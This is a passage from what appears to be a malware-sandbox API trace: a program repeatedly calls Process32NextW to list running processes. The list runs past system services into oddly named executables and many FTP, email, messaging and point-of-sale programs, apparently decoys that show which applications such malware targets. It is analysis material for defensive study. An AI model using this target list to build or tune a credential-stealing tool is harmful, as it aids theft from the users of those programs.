cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.230] lstrlenW (lpString="svchost.exe") returned 11 [0060.230] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.230] lstrlenW (lpString="svchost.exe") returned 11 [0060.230] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.231] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.231] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.231] lstrlenW (lpString="svchost.exe") returned 11 [0060.231] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.232] lstrlenW (lpString="audiodg.exe") returned 11 [0060.232] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0060.232] lstrlenW (lpString="sihost.exe") returned 10 [0060.232] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.233] lstrlenW (lpString="svchost.exe") returned 11 [0060.233] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.233] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.233] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.234] lstrlenW (lpString="explorer.exe") returned 12 [0060.234] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0060.234] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0060.234] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0060.235] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0060.235] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0060.235] lstrlenW (lpString="Memory Compression") returned 18 [0060.235] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0060.236] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0060.236] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0060.236] lstrlenW (lpString="SearchUI.exe") returned 12 [0060.236] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0060.237] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0060.237] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.237] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.237] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0060.238] lstrlenW (lpString="furholdtopics.exe") returned 17 [0060.238] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0060.238] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0060.238] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0060.239] lstrlenW (lpString="until_commit.exe") returned 16 [0060.239] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0060.239] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0060.239] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0060.240] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0060.240] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0060.240] lstrlenW (lpString="lexmark.exe") returned 11 [0060.240] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0060.241] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0060.241] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0060.241] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0060.241] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0060.242] lstrlenW (lpString="delete disable changing.exe") returned 27 [0060.242] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0060.242] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0060.242] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0060.243] lstrlenW (lpString="underwear.exe") returned 13 [0060.243] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0060.243] lstrlenW (lpString="dear-hearings.exe") returned 17 [0060.243] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.244] lstrlenW (lpString="dllhost.exe") returned 11 [0060.244] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0060.245] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0060.245] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0060.245] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0060.245] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0060.246] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0060.246] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0060.246] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0060.246] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0060.247] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0060.247] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0060.247] lstrlenW (lpString="towers world.exe") returned 16 [0060.247] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0060.248] lstrlenW (lpString="coaching indian.exe") returned 19 [0060.248] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0060.249] lstrlenW (lpString="goal assumed.exe") returned 16 [0060.249] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.249] lstrlenW (lpString="3dftp.exe") returned 9 [0060.250] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.250] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0060.250] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.251] lstrlenW (lpString="alftp.exe") returned 9 [0060.251] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.252] lstrlenW (lpString="barca.exe") returned 9 [0060.252] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.253] lstrlenW (lpString="bitkinex.exe") returned 12 [0060.253] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.254] lstrlenW (lpString="coreftp.exe") returned 11 [0060.254] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.255] lstrlenW (lpString="far.exe") returned 7 [0060.255] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.256] lstrlenW (lpString="filezilla.exe") returned 13 [0060.256] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.257] lstrlenW (lpString="flashfxp.exe") returned 12 [0060.257] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.258] lstrlenW (lpString="fling.exe") returned 9 [0060.258] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.258] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0060.259] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.259] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0060.259] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.460] lstrlenW (lpString="icq.exe") returned 7 [0060.460] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.462] lstrlenW (lpString="leechftp.exe") returned 12 [0060.462] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.463] lstrlenW (lpString="ncftp.exe") returned 9 [0060.463] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.465] lstrlenW (lpString="notepad.exe") returned 11 [0060.465] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.465] lstrlenW (lpString="operamail.exe") returned 13 [0060.465] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.466] lstrlenW (lpString="pidgin.exe") returned 10 [0060.466] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.469] lstrlenW (lpString="scriptftp.exe") returned 13 [0060.469] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.469] lstrlenW (lpString="skype.exe") returned 9 [0060.469] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.474] lstrlenW (lpString="smartftp.exe") returned 12 [0060.474] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0060.475] lstrlenW (lpString="thunderbird.exe") returned 15 [0060.475] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0060.476] lstrlenW (lpString="totalcmd.exe") returned 12 [0060.476] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.477] lstrlenW (lpString="trillian.exe") returned 12 [0060.477] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.478] lstrlenW (lpString="webdrive.exe") returned 12 [0060.478] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.479] lstrlenW (lpString="whatsapp.exe") returned 12 [0060.479] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.479] lstrlenW (lpString="winscp.exe") returned 10 [0060.480] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.480] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0060.480] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.481] lstrlenW (lpString="active-charge.exe") returned 17 [0060.481] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.482] lstrlenW (lpString="accupos.exe") returned 11 [0060.482] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.483] lstrlenW (lpString="afr38.exe") returned 9 [0060.483] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.483] lstrlenW (lpString="aldelo.exe") returned 10 [0060.484] Process32NextW (in: hSnapshot=0x27c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.484] lstrlenW (lpString="ccv_server.exe") returned 14 [0060.484] Process32NextW (in: hSnapshot=0x27c, 